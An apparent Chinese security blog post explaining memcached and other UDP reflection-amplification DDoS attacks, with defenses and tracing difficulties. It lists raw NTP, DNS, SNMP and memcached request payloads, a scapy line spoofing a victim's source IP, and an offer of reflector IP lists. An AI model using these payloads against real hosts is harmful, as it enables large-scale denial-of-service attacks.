0x00、DDoS反射放大攻击

攻击者通过伪造原IP欺骗的方式连接特定的UDP Server对目标端进行攻击。

攻击UDP协议需要具备一定放大作用

· memcache  60000x

· NTP 556x

· DNS 54x

· SSDP 30x

· SNMP 15x

协议本身存在漏洞

ntp 

· '\x17\x00\x02\x2a'+'\x00'*4

· dns 

· {}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01

· {}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00

· \x00\x00\x00\x00\x00\x00

snmp

· \x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c

· \x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01

· \x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06

· \x01\x02\x01\x05\x00

memcache

· \x00\x00\x00\x00\x00\x01\x00\x00stats\r\n

0x01、攻击原理

本文就以最新的memcache做案例分析一下其攻击原理

根据3月11日公布的攻击样本

from scapy.all import *

//通过python的scapy库来伪造原始IP和UDP包

data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"

//攻击向量，其实通过add或者set命令添加完全不会重复的value，然后通过get方式过去，如果增加放大倍数那返回到客户端的数据会达到几万倍

send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)

这就是伪造自己的IP为攻击源IP，通过根据Shodan扫描出来的开发UDP11211端口的IP发送数据。

再看看2018-2-27 Memcached 1.5.6更新，其实主要是默认关闭udp 11211

那么以前的版本为什么要开放UDP 11211端口呢？

过去的12年间UDP协议被广泛应用，因为TCP协议开销非常高，在代理或者特殊的客户端允许连接重用的时候，从而降低了开销，而且，RAM值非常大，以至于TCP缓冲区不会像以前那么多。

0x02、全网数据（中国境内）

搞清楚攻击原理后，我们观察一下目前中国境内memcache服务器开放情况

备注，可以提供IP列表。

0x03、如何防范

运营商端：

BCP38 防止源IP伪造策略，是在各个ASN域上设置ACL控制策略防止源地址伪造，这个文档存在十多年了，但是运营商到现在也没实现，那证明这个思路可操作性差。所以，从攻击端防止源IP伪造这个事不现实，当然会有一部分攻击会被拦截。

高防端：

UDP DDoS目前没有什么很好的解决办法（只能基于源和目的IP限速的方法），清洗中心目前针对反射攻击也是在设备上设置UDP11211 block。但是如果反射源攻击总带宽大于防攻击中心的出口带宽，清洗中心只能把高防IP黑洞掉。

攻击成本：

这种UDP放大反射DDoS攻击，攻击成本太低了。

· 寻找反射源：一台云主机2-3天就能扫描到或者使用sandon API等

· 伪造IP溯源困难：都是发送的伪造IP，想找到攻击源太困难。

· 少量肉鸡就可以组织上百G的攻击，防御成本一天最少几万。

业务端：

最困扰的是：很多App游戏等都使用UDP协议。高防端无法完全禁用UDP协议。

最好的办法，还是自查把这种危险端口屏蔽掉。所以各大公有云厂商、IDC等都开始自查，关闭掉11211对外开放端口。

0x04、如何溯源

这个问题，其实在溯源行业已经存在了很多年，遇到反射，好吧只能放弃。